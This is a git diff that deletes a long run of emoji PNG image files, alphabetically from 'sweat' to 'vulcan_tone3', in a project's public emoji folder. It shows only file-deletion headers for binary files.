diff --git a/public/-/emojis/2/sweat.png b/public/-/emojis/2/sweat.png
deleted file mode 100644
index 7a797dd7d31..00000000000
--- a/public/-/emojis/2/sweat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sweat_drops.png b/public/-/emojis/2/sweat_drops.png
deleted file mode 100644
index 7bdb18af87e..00000000000
--- a/public/-/emojis/2/sweat_drops.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sweat_smile.png b/public/-/emojis/2/sweat_smile.png
deleted file mode 100644
index a258ced0f4a..00000000000
--- a/public/-/emojis/2/sweat_smile.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sweet_potato.png b/public/-/emojis/2/sweet_potato.png
deleted file mode 100644
index 0a563539e12..00000000000
--- a/public/-/emojis/2/sweet_potato.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/swimmer.png b/public/-/emojis/2/swimmer.png
deleted file mode 100644
index c070123197a..00000000000
--- a/public/-/emojis/2/swimmer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/swimmer_tone1.png b/public/-/emojis/2/swimmer_tone1.png
deleted file mode 100644
index 8ffbec49728..00000000000
--- a/public/-/emojis/2/swimmer_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/swimmer_tone2.png b/public/-/emojis/2/swimmer_tone2.png
deleted file mode 100644
index 56eff24c8c6..00000000000
--- a/public/-/emojis/2/swimmer_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/swimmer_tone3.png b/public/-/emojis/2/swimmer_tone3.png
deleted file mode 100644
index 05deddf8b40..00000000000
--- a/public/-/emojis/2/swimmer_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/swimmer_tone4.png b/public/-/emojis/2/swimmer_tone4.png
deleted file mode 100644
index 924ae948a1c..00000000000
--- a/public/-/emojis/2/swimmer_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/swimmer_tone5.png b/public/-/emojis/2/swimmer_tone5.png
deleted file mode 100644
index 07eb0217694..00000000000
--- a/public/-/emojis/2/swimmer_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/symbols.png b/public/-/emojis/2/symbols.png
deleted file mode 100644
index bb6921827c9..00000000000
--- a/public/-/emojis/2/symbols.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/synagogue.png b/public/-/emojis/2/synagogue.png
deleted file mode 100644
index 52e7060209a..00000000000
--- a/public/-/emojis/2/synagogue.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/syringe.png b/public/-/emojis/2/syringe.png
deleted file mode 100644
index 0bcfd634b30..00000000000
--- a/public/-/emojis/2/syringe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/t_rex.png b/public/-/emojis/2/t_rex.png
deleted file mode 100644
index 11f76726c71..00000000000
--- a/public/-/emojis/2/t_rex.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/taco.png b/public/-/emojis/2/taco.png
deleted file mode 100644
index c5702ffee34..00000000000
--- a/public/-/emojis/2/taco.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tada.png b/public/-/emojis/2/tada.png
deleted file mode 100644
index b749d469014..00000000000
--- a/public/-/emojis/2/tada.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/takeout_box.png b/public/-/emojis/2/takeout_box.png
deleted file mode 100644
index c6dc8b5aac7..00000000000
--- a/public/-/emojis/2/takeout_box.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tanabata_tree.png b/public/-/emojis/2/tanabata_tree.png
deleted file mode 100644
index 6f98857162c..00000000000
--- a/public/-/emojis/2/tanabata_tree.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tangerine.png b/public/-/emojis/2/tangerine.png
deleted file mode 100644
index 7fa0975a21b..00000000000
--- a/public/-/emojis/2/tangerine.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/taurus.png b/public/-/emojis/2/taurus.png
deleted file mode 100644
index 9dc4d402b23..00000000000
--- a/public/-/emojis/2/taurus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/taxi.png b/public/-/emojis/2/taxi.png
deleted file mode 100644
index e46f6ddd18f..00000000000
--- a/public/-/emojis/2/taxi.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tea.png b/public/-/emojis/2/tea.png
deleted file mode 100644
index 2fec82839c0..00000000000
--- a/public/-/emojis/2/tea.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/teddy_bear.png b/public/-/emojis/2/teddy_bear.png
deleted file mode 100644
index fe724b85e49..00000000000
--- a/public/-/emojis/2/teddy_bear.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/telephone_receiver.png b/public/-/emojis/2/telephone_receiver.png
deleted file mode 100644
index 58babeb4cca..00000000000
--- a/public/-/emojis/2/telephone_receiver.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/telescope.png b/public/-/emojis/2/telescope.png
deleted file mode 100644
index 105e9a22a2b..00000000000
--- a/public/-/emojis/2/telescope.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ten.png b/public/-/emojis/2/ten.png
deleted file mode 100644
index 0beb6506720..00000000000
--- a/public/-/emojis/2/ten.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tennis.png b/public/-/emojis/2/tennis.png
deleted file mode 100644
index 5b9d52fbd81..00000000000
--- a/public/-/emojis/2/tennis.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tent.png b/public/-/emojis/2/tent.png
deleted file mode 100644
index 7829f125f6f..00000000000
--- a/public/-/emojis/2/tent.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/test_tube.png b/public/-/emojis/2/test_tube.png
deleted file mode 100644
index 96beb9abfd5..00000000000
--- a/public/-/emojis/2/test_tube.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thermometer.png b/public/-/emojis/2/thermometer.png
deleted file mode 100644
index 7b2924a856b..00000000000
--- a/public/-/emojis/2/thermometer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thermometer_face.png b/public/-/emojis/2/thermometer_face.png
deleted file mode 100644
index 9968a748c51..00000000000
--- a/public/-/emojis/2/thermometer_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thinking.png b/public/-/emojis/2/thinking.png
deleted file mode 100644
index 4ee7db7f700..00000000000
--- a/public/-/emojis/2/thinking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/third_place.png b/public/-/emojis/2/third_place.png
deleted file mode 100644
index f6b8102e623..00000000000
--- a/public/-/emojis/2/third_place.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thought_balloon.png b/public/-/emojis/2/thought_balloon.png
deleted file mode 100644
index 6500a9ee6ea..00000000000
--- a/public/-/emojis/2/thought_balloon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thread.png b/public/-/emojis/2/thread.png
deleted file mode 100644
index 499598c3625..00000000000
--- a/public/-/emojis/2/thread.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/three.png b/public/-/emojis/2/three.png
deleted file mode 100644
index e34855292b6..00000000000
--- a/public/-/emojis/2/three.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsdown.png b/public/-/emojis/2/thumbsdown.png
deleted file mode 100644
index 81fa01df154..00000000000
--- a/public/-/emojis/2/thumbsdown.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsdown_tone1.png b/public/-/emojis/2/thumbsdown_tone1.png
deleted file mode 100644
index 34b208694cc..00000000000
--- a/public/-/emojis/2/thumbsdown_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsdown_tone2.png b/public/-/emojis/2/thumbsdown_tone2.png
deleted file mode 100644
index 7a833a1a5b5..00000000000
--- a/public/-/emojis/2/thumbsdown_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsdown_tone3.png b/public/-/emojis/2/thumbsdown_tone3.png
deleted file mode 100644
index 1afd7324239..00000000000
--- a/public/-/emojis/2/thumbsdown_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsdown_tone4.png b/public/-/emojis/2/thumbsdown_tone4.png
deleted file mode 100644
index c2cb5146e52..00000000000
--- a/public/-/emojis/2/thumbsdown_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsdown_tone5.png b/public/-/emojis/2/thumbsdown_tone5.png
deleted file mode 100644
index 97c349af3d2..00000000000
--- a/public/-/emojis/2/thumbsdown_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsup.png b/public/-/emojis/2/thumbsup.png
deleted file mode 100644
index c1cb9fdedfa..00000000000
--- a/public/-/emojis/2/thumbsup.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsup_tone1.png b/public/-/emojis/2/thumbsup_tone1.png
deleted file mode 100644
index 806dd39dcc8..00000000000
--- a/public/-/emojis/2/thumbsup_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsup_tone2.png b/public/-/emojis/2/thumbsup_tone2.png
deleted file mode 100644
index da503661cef..00000000000
--- a/public/-/emojis/2/thumbsup_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsup_tone3.png b/public/-/emojis/2/thumbsup_tone3.png
deleted file mode 100644
index 61329b0b3d5..00000000000
--- a/public/-/emojis/2/thumbsup_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsup_tone4.png b/public/-/emojis/2/thumbsup_tone4.png
deleted file mode 100644
index 6fb03ac26f6..00000000000
--- a/public/-/emojis/2/thumbsup_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thumbsup_tone5.png b/public/-/emojis/2/thumbsup_tone5.png
deleted file mode 100644
index 0a825f5e726..00000000000
--- a/public/-/emojis/2/thumbsup_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/thunder_cloud_rain.png b/public/-/emojis/2/thunder_cloud_rain.png
deleted file mode 100644
index 661492ce315..00000000000
--- a/public/-/emojis/2/thunder_cloud_rain.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ticket.png b/public/-/emojis/2/ticket.png
deleted file mode 100644
index f22706ce69f..00000000000
--- a/public/-/emojis/2/ticket.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tickets.png b/public/-/emojis/2/tickets.png
deleted file mode 100644
index 89e99dbd527..00000000000
--- a/public/-/emojis/2/tickets.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tiger.png b/public/-/emojis/2/tiger.png
deleted file mode 100644
index 61462dd13c0..00000000000
--- a/public/-/emojis/2/tiger.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tiger2.png b/public/-/emojis/2/tiger2.png
deleted file mode 100644
index 382c09aae09..00000000000
--- a/public/-/emojis/2/tiger2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/timer.png b/public/-/emojis/2/timer.png
deleted file mode 100644
index 5c451c91db8..00000000000
--- a/public/-/emojis/2/timer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tired_face.png b/public/-/emojis/2/tired_face.png
deleted file mode 100644
index e2b5a80a75e..00000000000
--- a/public/-/emojis/2/tired_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tm.png b/public/-/emojis/2/tm.png
deleted file mode 100644
index 8f5db6aa492..00000000000
--- a/public/-/emojis/2/tm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/toilet.png b/public/-/emojis/2/toilet.png
deleted file mode 100644
index 66ddac30906..00000000000
--- a/public/-/emojis/2/toilet.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tokyo_tower.png b/public/-/emojis/2/tokyo_tower.png
deleted file mode 100644
index 1758b400905..00000000000
--- a/public/-/emojis/2/tokyo_tower.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tomato.png b/public/-/emojis/2/tomato.png
deleted file mode 100644
index 6381b8a3899..00000000000
--- a/public/-/emojis/2/tomato.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tone1.png b/public/-/emojis/2/tone1.png
deleted file mode 100644
index 9339a6f2935..00000000000
--- a/public/-/emojis/2/tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tone2.png b/public/-/emojis/2/tone2.png
deleted file mode 100644
index 3f1bb73cdfe..00000000000
--- a/public/-/emojis/2/tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tone3.png b/public/-/emojis/2/tone3.png
deleted file mode 100644
index 25930cebf04..00000000000
--- a/public/-/emojis/2/tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tone4.png b/public/-/emojis/2/tone4.png
deleted file mode 100644
index 924120eeec6..00000000000
--- a/public/-/emojis/2/tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tone5.png b/public/-/emojis/2/tone5.png
deleted file mode 100644
index 838d480255a..00000000000
--- a/public/-/emojis/2/tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tongue.png b/public/-/emojis/2/tongue.png
deleted file mode 100644
index 766c514042e..00000000000
--- a/public/-/emojis/2/tongue.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/toolbox.png b/public/-/emojis/2/toolbox.png
deleted file mode 100644
index 97ab0322b6d..00000000000
--- a/public/-/emojis/2/toolbox.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tools.png b/public/-/emojis/2/tools.png
deleted file mode 100644
index 6e6e85cd714..00000000000
--- a/public/-/emojis/2/tools.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tooth.png b/public/-/emojis/2/tooth.png
deleted file mode 100644
index b2c97915344..00000000000
--- a/public/-/emojis/2/tooth.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/top.png b/public/-/emojis/2/top.png
deleted file mode 100644
index 305a78734f5..00000000000
--- a/public/-/emojis/2/top.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tophat.png b/public/-/emojis/2/tophat.png
deleted file mode 100644
index 8c3ce523d53..00000000000
--- a/public/-/emojis/2/tophat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/track_next.png b/public/-/emojis/2/track_next.png
deleted file mode 100644
index 119c3191315..00000000000
--- a/public/-/emojis/2/track_next.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/track_previous.png b/public/-/emojis/2/track_previous.png
deleted file mode 100644
index 583392e997e..00000000000
--- a/public/-/emojis/2/track_previous.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/trackball.png b/public/-/emojis/2/trackball.png
deleted file mode 100644
index 722e88b124c..00000000000
--- a/public/-/emojis/2/trackball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tractor.png b/public/-/emojis/2/tractor.png
deleted file mode 100644
index 6b48fee40a2..00000000000
--- a/public/-/emojis/2/tractor.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/traffic_light.png b/public/-/emojis/2/traffic_light.png
deleted file mode 100644
index 548fb7d4cbb..00000000000
--- a/public/-/emojis/2/traffic_light.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/train.png b/public/-/emojis/2/train.png
deleted file mode 100644
index 44264204269..00000000000
--- a/public/-/emojis/2/train.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/train2.png b/public/-/emojis/2/train2.png
deleted file mode 100644
index 030b0aa886c..00000000000
--- a/public/-/emojis/2/train2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tram.png b/public/-/emojis/2/tram.png
deleted file mode 100644
index 38316332af1..00000000000
--- a/public/-/emojis/2/tram.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/triangular_flag_on_post.png b/public/-/emojis/2/triangular_flag_on_post.png
deleted file mode 100644
index 34ae504a63d..00000000000
--- a/public/-/emojis/2/triangular_flag_on_post.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/triangular_ruler.png b/public/-/emojis/2/triangular_ruler.png
deleted file mode 100644
index 7ca8a7d33e7..00000000000
--- a/public/-/emojis/2/triangular_ruler.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/trident.png b/public/-/emojis/2/trident.png
deleted file mode 100644
index ae8b2bb1b36..00000000000
--- a/public/-/emojis/2/trident.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/triumph.png b/public/-/emojis/2/triumph.png
deleted file mode 100644
index ad2c37b2eb1..00000000000
--- a/public/-/emojis/2/triumph.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/trolleybus.png b/public/-/emojis/2/trolleybus.png
deleted file mode 100644
index 14dbef0c2e9..00000000000
--- a/public/-/emojis/2/trolleybus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/trophy.png b/public/-/emojis/2/trophy.png
deleted file mode 100644
index 0ae694ad689..00000000000
--- a/public/-/emojis/2/trophy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tropical_drink.png b/public/-/emojis/2/tropical_drink.png
deleted file mode 100644
index a971da8c4c6..00000000000
--- a/public/-/emojis/2/tropical_drink.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tropical_fish.png b/public/-/emojis/2/tropical_fish.png
deleted file mode 100644
index c6a21c479a0..00000000000
--- a/public/-/emojis/2/tropical_fish.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/truck.png b/public/-/emojis/2/truck.png
deleted file mode 100644
index c75001c88fc..00000000000
--- a/public/-/emojis/2/truck.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/trumpet.png b/public/-/emojis/2/trumpet.png
deleted file mode 100644
index d7cccef5262..00000000000
--- a/public/-/emojis/2/trumpet.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tulip.png b/public/-/emojis/2/tulip.png
deleted file mode 100644
index 7fb7b2a3c13..00000000000
--- a/public/-/emojis/2/tulip.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tumbler_glass.png b/public/-/emojis/2/tumbler_glass.png
deleted file mode 100644
index d2acef01526..00000000000
--- a/public/-/emojis/2/tumbler_glass.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/turtle.png b/public/-/emojis/2/turtle.png
deleted file mode 100644
index 8767e0dce62..00000000000
--- a/public/-/emojis/2/turtle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/tv.png b/public/-/emojis/2/tv.png
deleted file mode 100644
index cbeee54e473..00000000000
--- a/public/-/emojis/2/tv.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/twisted_rightwards_arrows.png b/public/-/emojis/2/twisted_rightwards_arrows.png
deleted file mode 100644
index d8eea4fdb65..00000000000
--- a/public/-/emojis/2/twisted_rightwards_arrows.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/two.png b/public/-/emojis/2/two.png
deleted file mode 100644
index 0f2e091dba0..00000000000
--- a/public/-/emojis/2/two.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/two_hearts.png b/public/-/emojis/2/two_hearts.png
deleted file mode 100644
index bed853f0bef..00000000000
--- a/public/-/emojis/2/two_hearts.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/two_men_holding_hands.png b/public/-/emojis/2/two_men_holding_hands.png
deleted file mode 100644
index ee5c79d23b6..00000000000
--- a/public/-/emojis/2/two_men_holding_hands.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/two_women_holding_hands.png b/public/-/emojis/2/two_women_holding_hands.png
deleted file mode 100644
index 21b9d18c5fa..00000000000
--- a/public/-/emojis/2/two_women_holding_hands.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u5272.png b/public/-/emojis/2/u5272.png
deleted file mode 100644
index d14175a4b88..00000000000
--- a/public/-/emojis/2/u5272.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u5408.png b/public/-/emojis/2/u5408.png
deleted file mode 100644
index 27944695bf4..00000000000
--- a/public/-/emojis/2/u5408.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u55b6.png b/public/-/emojis/2/u55b6.png
deleted file mode 100644
index 09f35e2a741..00000000000
--- a/public/-/emojis/2/u55b6.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u6307.png b/public/-/emojis/2/u6307.png
deleted file mode 100644
index 9d42ac94cc5..00000000000
--- a/public/-/emojis/2/u6307.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u6708.png b/public/-/emojis/2/u6708.png
deleted file mode 100644
index e0a626fae92..00000000000
--- a/public/-/emojis/2/u6708.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u6709.png b/public/-/emojis/2/u6709.png
deleted file mode 100644
index cddc464e436..00000000000
--- a/public/-/emojis/2/u6709.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u6e80.png b/public/-/emojis/2/u6e80.png
deleted file mode 100644
index 20b1c2286f8..00000000000
--- a/public/-/emojis/2/u6e80.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u7121.png b/public/-/emojis/2/u7121.png
deleted file mode 100644
index 305807f37a9..00000000000
--- a/public/-/emojis/2/u7121.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u7533.png b/public/-/emojis/2/u7533.png
deleted file mode 100644
index 7be4286dd35..00000000000
--- a/public/-/emojis/2/u7533.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u7981.png b/public/-/emojis/2/u7981.png
deleted file mode 100644
index 534f8af1698..00000000000
--- a/public/-/emojis/2/u7981.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/u7a7a.png b/public/-/emojis/2/u7a7a.png
deleted file mode 100644
index 737edf082e9..00000000000
--- a/public/-/emojis/2/u7a7a.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/umbrella.png b/public/-/emojis/2/umbrella.png
deleted file mode 100644
index 14df14bb49e..00000000000
--- a/public/-/emojis/2/umbrella.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/unamused.png b/public/-/emojis/2/unamused.png
deleted file mode 100644
index 1d6f9f341ee..00000000000
--- a/public/-/emojis/2/unamused.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/underage.png b/public/-/emojis/2/underage.png
deleted file mode 100644
index 1e477ba4a09..00000000000
--- a/public/-/emojis/2/underage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/unicorn.png b/public/-/emojis/2/unicorn.png
deleted file mode 100644
index b539a55210c..00000000000
--- a/public/-/emojis/2/unicorn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/united_nations.png b/public/-/emojis/2/united_nations.png
deleted file mode 100644
index 99ab2f50754..00000000000
--- a/public/-/emojis/2/united_nations.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/unlock.png b/public/-/emojis/2/unlock.png
deleted file mode 100644
index 07e60f8d696..00000000000
--- a/public/-/emojis/2/unlock.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/up.png b/public/-/emojis/2/up.png
deleted file mode 100644
index b1f532c3439..00000000000
--- a/public/-/emojis/2/up.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/upside_down.png b/public/-/emojis/2/upside_down.png
deleted file mode 100644
index 12c67345e83..00000000000
--- a/public/-/emojis/2/upside_down.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/urn.png b/public/-/emojis/2/urn.png
deleted file mode 100644
index d44fd7ef914..00000000000
--- a/public/-/emojis/2/urn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/v.png b/public/-/emojis/2/v.png
deleted file mode 100644
index e334ebc96d7..00000000000
--- a/public/-/emojis/2/v.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/v_tone1.png b/public/-/emojis/2/v_tone1.png
deleted file mode 100644
index eb4d3c63472..00000000000
--- a/public/-/emojis/2/v_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/v_tone2.png b/public/-/emojis/2/v_tone2.png
deleted file mode 100644
index 92eaf8abf06..00000000000
--- a/public/-/emojis/2/v_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/v_tone3.png b/public/-/emojis/2/v_tone3.png
deleted file mode 100644
index 385e3745d5a..00000000000
--- a/public/-/emojis/2/v_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/v_tone4.png b/public/-/emojis/2/v_tone4.png
deleted file mode 100644
index 2fdb24d463e..00000000000
--- a/public/-/emojis/2/v_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/v_tone5.png b/public/-/emojis/2/v_tone5.png
deleted file mode 100644
index 4e5598027ed..00000000000
--- a/public/-/emojis/2/v_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vampire.png b/public/-/emojis/2/vampire.png
deleted file mode 100644
index 4a7105c20b1..00000000000
--- a/public/-/emojis/2/vampire.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vampire_tone1.png b/public/-/emojis/2/vampire_tone1.png
deleted file mode 100644
index 405bec1f070..00000000000
--- a/public/-/emojis/2/vampire_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vampire_tone2.png b/public/-/emojis/2/vampire_tone2.png
deleted file mode 100644
index dbdfca67e03..00000000000
--- a/public/-/emojis/2/vampire_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vampire_tone3.png b/public/-/emojis/2/vampire_tone3.png
deleted file mode 100644
index 9f72bd29c2b..00000000000
--- a/public/-/emojis/2/vampire_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vampire_tone4.png b/public/-/emojis/2/vampire_tone4.png
deleted file mode 100644
index cc8ff737e1e..00000000000
--- a/public/-/emojis/2/vampire_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vampire_tone5.png b/public/-/emojis/2/vampire_tone5.png
deleted file mode 100644
index ef77ddd7c50..00000000000
--- a/public/-/emojis/2/vampire_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vertical_traffic_light.png b/public/-/emojis/2/vertical_traffic_light.png
deleted file mode 100644
index 7ca47ff223a..00000000000
--- a/public/-/emojis/2/vertical_traffic_light.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vhs.png b/public/-/emojis/2/vhs.png
deleted file mode 100644
index 143624b7fab..00000000000
--- a/public/-/emojis/2/vhs.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vibration_mode.png b/public/-/emojis/2/vibration_mode.png
deleted file mode 100644
index d31f3c97722..00000000000
--- a/public/-/emojis/2/vibration_mode.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/video_camera.png b/public/-/emojis/2/video_camera.png
deleted file mode 100644
index d82ea0919de..00000000000
--- a/public/-/emojis/2/video_camera.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/video_game.png b/public/-/emojis/2/video_game.png
deleted file mode 100644
index 2baf74bcfb2..00000000000
--- a/public/-/emojis/2/video_game.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/violin.png b/public/-/emojis/2/violin.png
deleted file mode 100644
index a895f8f3ecb..00000000000
--- a/public/-/emojis/2/violin.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/virgo.png b/public/-/emojis/2/virgo.png
deleted file mode 100644
index a1ef0a0a68d..00000000000
--- a/public/-/emojis/2/virgo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/volcano.png b/public/-/emojis/2/volcano.png
deleted file mode 100644
index b33b064bc81..00000000000
--- a/public/-/emojis/2/volcano.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/volleyball.png b/public/-/emojis/2/volleyball.png
deleted file mode 100644
index 400f3be32fd..00000000000
--- a/public/-/emojis/2/volleyball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vs.png b/public/-/emojis/2/vs.png
deleted file mode 100644
index dbb17a9512f..00000000000
--- a/public/-/emojis/2/vs.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vulcan.png b/public/-/emojis/2/vulcan.png
deleted file mode 100644
index a68c0827f89..00000000000
--- a/public/-/emojis/2/vulcan.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vulcan_tone1.png b/public/-/emojis/2/vulcan_tone1.png
deleted file mode 100644
index 77d94b1ead9..00000000000
--- a/public/-/emojis/2/vulcan_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vulcan_tone2.png b/public/-/emojis/2/vulcan_tone2.png
deleted file mode 100644
index b6fdef6a474..00000000000
--- a/public/-/emojis/2/vulcan_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vulcan_tone3.png b/public/-/emojis/2/vulcan_tone3.png
deleted file mode 100644
index 0b5859acfb6..00000000000
--- a/public/-/emojis/2/vulcan_tone3.png
+++ /dev/null
Binary files differ
